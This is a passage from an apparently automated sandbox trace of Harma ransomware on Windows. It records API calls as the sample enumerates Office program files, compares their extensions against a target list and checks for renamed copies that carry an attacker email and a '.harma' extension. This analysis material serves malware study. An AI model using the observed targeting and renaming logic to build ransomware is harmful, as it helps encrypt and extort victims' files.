lpString2="0.DLL") returned -1 [0168.642] lstrlenW (lpString=".ppt") returned 4 [0168.642] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.642] lstrlenW (lpString=".zip") returned 4 [0168.642] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.642] lstrlenW (lpString=".rar") returned 4 [0168.642] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.642] lstrlenW (lpString=".bz2") returned 4 [0168.642] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.642] lstrlenW (lpString=".7z") returned 3 [0168.642] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.642] lstrlenW (lpString=".dbf") returned 4 [0168.642] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.642] lstrlenW (lpString=".1cd") returned 4 [0168.643] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.643] lstrlenW (lpString=".jpg") returned 4 [0168.643] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.643] lstrlenW (lpString=".doc") returned 4 [0168.643] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.643] lstrlenW (lpString=".docx") returned 5 [0168.643] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0168.643] lstrlenW (lpString=".pdf") returned 4 [0168.643] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.643] lstrlenW (lpString=".xls") returned 4 [0168.643] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.643] lstrlenW (lpString=".xlsx") returned 5 [0168.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0168.643] lstrlenW (lpString=".ppt") returned 4 [0168.643] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.644] lstrlenW (lpString=".zip") returned 4 [0168.644] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.644] lstrlenW (lpString=".rar") returned 4 [0168.644] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.644] lstrlenW (lpString=".bz2") returned 4 [0168.644] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.644] lstrlenW (lpString=".7z") returned 3 [0168.644] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.644] lstrlenW (lpString=".dbf") returned 4 [0168.644] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.644] lstrlenW (lpString=".1cd") returned 4 [0168.644] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL") returned 53 [0168.644] lstrlenW (lpString=".jpg") returned 4 [0168.644] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.644] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0168.645] lstrlenW (lpString="CNFNOT32.EXE") returned 12 [0168.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.645] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=225632) returned 1 [0168.645] CloseHandle (hObject=0x21c) returned 1 [0168.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe")) returned 0x20 [0168.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.646] lstrlenW (lpString=".doc") returned 4 [0168.646] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0168.646] lstrlenW (lpString=".docx") returned 5 [0168.646] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0168.646] lstrlenW (lpString=".pdf") returned 4 [0168.646] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0168.646] lstrlenW (lpString=".xls") returned 4 [0168.646] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0168.646] lstrlenW (lpString=".xlsx") returned 5 [0168.646] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0168.646] lstrlenW (lpString=".ppt") returned 4 [0168.646] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0168.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.646] lstrlenW (lpString=".zip") returned 4 [0168.646] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0168.646] lstrlenW (lpString=".rar") returned 4 [0168.646] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0168.646] lstrlenW (lpString=".bz2") returned 4 [0168.646] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0168.646] lstrlenW (lpString=".7z") returned 3 [0168.646] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.647] lstrlenW (lpString=".dbf") returned 4 [0168.647] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.647] lstrlenW (lpString=".1cd") returned 4 [0168.647] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.647] lstrlenW (lpString=".jpg") returned 4 [0168.647] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.647] lstrlenW (lpString=".doc") returned 4 [0168.647] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0168.647] lstrlenW (lpString=".docx") returned 5 [0168.647] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0168.647] lstrlenW (lpString=".pdf") returned 4 [0168.647] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0168.647] lstrlenW (lpString=".xls") returned 4 [0168.647] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0168.647] lstrlenW (lpString=".xlsx") returned 5 [0168.647] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0168.647] lstrlenW (lpString=".ppt") returned 4 [0168.647] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0168.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.647] lstrlenW (lpString=".zip") returned 4 [0168.647] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0168.647] lstrlenW (lpString=".rar") returned 4 [0168.647] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0168.647] lstrlenW (lpString=".bz2") returned 4 [0168.648] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0168.648] lstrlenW (lpString=".7z") returned 3 [0168.648] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.648] lstrlenW (lpString=".dbf") returned 4 [0168.648] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.648] lstrlenW (lpString=".1cd") returned 4 [0168.648] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0168.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CNFNOT32.EXE") returned 55 [0168.648] lstrlenW (lpString=".jpg") returned 4 [0168.648] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0168.648] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.648] lstrlenW (lpString="CODEEDIT.DLL") returned 12 [0168.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.649] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=53128) returned 1 [0168.649] CloseHandle (hObject=0x21c) returned 1 [0168.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll")) returned 0x20 [0168.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\codeedit.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.649] lstrlenW (lpString=".doc") returned 4 [0168.649] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.649] lstrlenW (lpString=".docx") returned 5 [0168.649] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0168.649] lstrlenW (lpString=".pdf") returned 4 [0168.649] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.649] lstrlenW (lpString=".xls") returned 4 [0168.649] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.650] lstrlenW (lpString=".xlsx") returned 5 [0168.650] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0168.650] lstrlenW (lpString=".ppt") returned 4 [0168.650] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.650] lstrlenW (lpString=".zip") returned 4 [0168.650] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.650] lstrlenW (lpString=".rar") returned 4 [0168.650] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.650] lstrlenW (lpString=".bz2") returned 4 [0168.650] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.650] lstrlenW (lpString=".7z") returned 3 [0168.650] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.650] lstrlenW (lpString=".dbf") returned 4 [0168.650] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.650] lstrlenW (lpString=".1cd") returned 4 [0168.650] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.650] lstrlenW (lpString=".jpg") returned 4 [0168.650] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.650] lstrlenW (lpString=".doc") returned 4 [0168.650] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.650] lstrlenW (lpString=".docx") returned 5 [0168.650] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0168.650] lstrlenW (lpString=".pdf") returned 4 [0168.651] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.651] lstrlenW (lpString=".xls") returned 4 [0168.651] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.651] lstrlenW (lpString=".xlsx") returned 5 [0168.651] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0168.651] lstrlenW (lpString=".ppt") returned 4 [0168.651] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.651] lstrlenW (lpString=".zip") returned 4 [0168.651] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.651] lstrlenW (lpString=".rar") returned 4 [0168.651] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.651] lstrlenW (lpString=".bz2") returned 4 [0168.651] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.651] lstrlenW (lpString=".7z") returned 3 [0168.651] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.651] lstrlenW (lpString=".dbf") returned 4 [0168.651] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.651] lstrlenW (lpString=".1cd") returned 4 [0168.651] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CODEEDIT.DLL") returned 55 [0168.651] lstrlenW (lpString=".jpg") returned 4 [0168.651] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.652] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0168.652] lstrlenW (lpString="CONTAB32.DLL") returned 12 [0168.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.652] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=183160) returned 1 [0168.652] CloseHandle (hObject=0x21c) returned 1 [0168.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll")) returned 0x20 [0168.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\contab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.653] lstrlenW (lpString=".doc") returned 4 [0168.653] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.653] lstrlenW (lpString=".docx") returned 5 [0168.653] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0168.653] lstrlenW (lpString=".pdf") returned 4 [0168.653] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.653] lstrlenW (lpString=".xls") returned 4 [0168.653] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.653] lstrlenW (lpString=".xlsx") returned 5 [0168.653] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0168.653] lstrlenW (lpString=".ppt") returned 4 [0168.653] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.653] lstrlenW (lpString=".zip") returned 4 [0168.653] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.653] lstrlenW (lpString=".rar") returned 4 [0168.653] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.653] lstrlenW (lpString=".bz2") returned 4 [0168.654] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.654] lstrlenW (lpString=".7z") returned 3 [0168.654] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.654] lstrlenW (lpString=".dbf") returned 4 [0168.654] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.654] lstrlenW (lpString=".1cd") returned 4 [0168.654] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.654] lstrlenW (lpString=".jpg") returned 4 [0168.654] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.654] lstrlenW (lpString=".doc") returned 4 [0168.654] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0168.654] lstrlenW (lpString=".docx") returned 5 [0168.654] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0168.654] lstrlenW (lpString=".pdf") returned 4 [0168.654] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0168.654] lstrlenW (lpString=".xls") returned 4 [0168.654] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0168.655] lstrlenW (lpString=".xlsx") returned 5 [0168.655] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0168.655] lstrlenW (lpString=".ppt") returned 4 [0168.655] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.655] lstrlenW (lpString=".zip") returned 4 [0168.655] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0168.655] lstrlenW (lpString=".rar") returned 4 [0168.655] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0168.655] lstrlenW (lpString=".bz2") returned 4 [0168.655] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0168.655] lstrlenW (lpString=".7z") returned 3 [0168.655] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.655] lstrlenW (lpString=".dbf") returned 4 [0168.655] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.655] lstrlenW (lpString=".1cd") returned 4 [0168.655] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0168.655] lstrlenW (lpString=".jpg") returned 4 [0168.655] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0168.655] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0168.655] lstrlenW (lpString="ContactPicker.dll") returned 17 [0168.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.657] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=222592) returned 1 [0168.657] CloseHandle (hObject=0x21c) returned 1 [0168.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll")) returned 0x20 [0168.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0168.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.657] lstrlenW (lpString=".doc") returned 4 [0168.657] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0168.657] lstrlenW (lpString=".docx") returned 5 [0168.657] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0168.657] lstrlenW (lpString=".pdf") returned 4 [0168.657] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0168.657] lstrlenW (lpString=".xls") returned 4 [0168.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0168.657] lstrlenW (lpString=".xlsx") returned 5 [0168.658] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0168.658] lstrlenW (lpString=".ppt") returned 4 [0168.658] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0168.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.658] lstrlenW (lpString=".zip") returned 4 [0168.658] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0168.658] lstrlenW (lpString=".rar") returned 4 [0168.658] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0168.658] lstrlenW (lpString=".bz2") returned 4 [0168.658] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0168.658] lstrlenW (lpString=".7z") returned 3 [0168.658] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0168.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.658] lstrlenW (lpString=".dbf") returned 4 [0168.658] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0168.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.658] lstrlenW (lpString=".1cd") returned 4 [0168.658] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0168.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.658] lstrlenW (lpString=".jpg") returned 4 [0168.658] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0168.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.658] lstrlenW (lpString=".doc") returned 4 [0168.658] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0168.658] lstrlenW (lpString=".docx") returned 5 [0168.658] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0168.658] lstrlenW (lpString=".pdf") returned 4 [0168.658] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0168.658] lstrlenW (lpString=".xls") returned 4 [0168.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0168.659] lstrlenW (lpString=".xlsx") returned 5 [0168.659] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0168.659] lstrlenW (lpString=".ppt") returned 4 [0168.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.659] lstrlenW (lpString=".zip") returned 4 [0168.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0168.659] lstrlenW (lpString=".rar") returned 4 [0168.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0168.659] lstrlenW (lpString=".bz2") returned 4 [0168.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0168.659] lstrlenW (lpString=".7z") returned 3 [0168.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.659] lstrlenW (lpString=".dbf") returned 4 [0168.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.659] lstrlenW (lpString=".1cd") returned 4 [0168.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0168.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0168.659] lstrlenW (lpString=".jpg") returned 4 [0168.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0168.660] lstrcmpiW (lpString1=".SAM", lpString2=".harma") returned 1 [0168.660] lstrlenW (lpString="ACT3R.SAM") returned 9 [0168.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0168.662] GetFileSizeEx (in: hFile=0x21c, 